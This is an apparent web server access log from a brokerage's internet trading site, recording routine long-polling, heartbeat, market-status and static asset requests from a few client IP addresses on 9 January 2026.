[09/Jan/2026:11:07:45 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928349224 HTTP/1.1" -
[09/Jan/2026:11:07:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928336663 HTTP/1.1" -
[09/Jan/2026:11:07:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:07:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:07:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928339760 HTTP/1.1" -
[09/Jan/2026:11:07:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:07:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:07:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:07:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:07:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928355224 HTTP/1.1" -
[09/Jan/2026:11:07:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928341697 HTTP/1.1" -
[09/Jan/2026:11:07:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928344916 HTTP/1.1" -
[09/Jan/2026:11:07:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:07:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:07:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928346737 HTTP/1.1" -
[09/Jan/2026:11:07:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928361235 HTTP/1.1" -
[09/Jan/2026:11:07:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928350007 HTTP/1.1" -
[09/Jan/2026:11:08:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928351770 HTTP/1.1" -
[09/Jan/2026:11:08:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928367233 HTTP/1.1" -
[09/Jan/2026:11:08:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928355144 HTTP/1.1" -
[09/Jan/2026:11:08:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928356814 HTTP/1.1" -
[09/Jan/2026:11:08:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928360333 HTTP/1.1" -
[09/Jan/2026:11:08:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928373234 HTTP/1.1" -
[09/Jan/2026:11:08:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:08:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:08:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:08:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:08:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928361852 HTTP/1.1" -
[09/Jan/2026:11:08:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928365508 HTTP/1.1" -
[09/Jan/2026:11:08:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928379230 HTTP/1.1" -
[09/Jan/2026:11:08:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928366896 HTTP/1.1" -
[09/Jan/2026:11:08:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:08:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:08:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:08:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:08:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:08:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:08:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928370673 HTTP/1.1" -
[09/Jan/2026:11:08:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928385226 HTTP/1.1" -
[09/Jan/2026:11:08:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928371925 HTTP/1.1" -
[09/Jan/2026:11:08:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928375731 HTTP/1.1" -
[09/Jan/2026:11:08:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:08:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:08:27 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928391231 HTTP/1.1" -
[09/Jan/2026:11:08:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928376957 HTTP/1.1" -
[09/Jan/2026:11:08:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928380874 HTTP/1.1" -
[09/Jan/2026:11:08:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928381975 HTTP/1.1" -
[09/Jan/2026:11:08:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928397236 HTTP/1.1" -
[09/Jan/2026:11:08:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928385997 HTTP/1.1" -
[09/Jan/2026:11:08:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928387020 HTTP/1.1" -
[09/Jan/2026:11:08:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928391123 HTTP/1.1" -
[09/Jan/2026:11:08:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928403223 HTTP/1.1" -
[09/Jan/2026:11:08:39 +0800] 13.221.222.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:11:08:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928392051 HTTP/1.1" -
[09/Jan/2026:11:08:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:08:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:08:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:08:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:08:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928396272 HTTP/1.1" -
[09/Jan/2026:11:08:45 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928409228 HTTP/1.1" -
[09/Jan/2026:11:08:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928397092 HTTP/1.1" -
[09/Jan/2026:11:08:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:08:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:08:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:08:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:08:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:08:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:08:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928401393 HTTP/1.1" -
[09/Jan/2026:11:08:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:11:08:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:11:08:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:11:08:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:11:08:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:11:08:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928415228 HTTP/1.1" -
[09/Jan/2026:11:08:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:11:08:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:11:08:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:11:08:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:11:08:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:11:08:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:11:08:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:11:08:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:11:08:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161914 HTTP/1.1" 940
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161914 HTTP/1.1" 1372
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161914 HTTP/1.1" 1781
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161914 HTTP/1.1" 30725
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161914 HTTP/1.1" 1575
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161914 HTTP/1.1" 856
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161914 HTTP/1.1" 1567
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161914 HTTP/1.1" 2300
[09/Jan/2026:11:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161914 HTTP/1.1" 2482
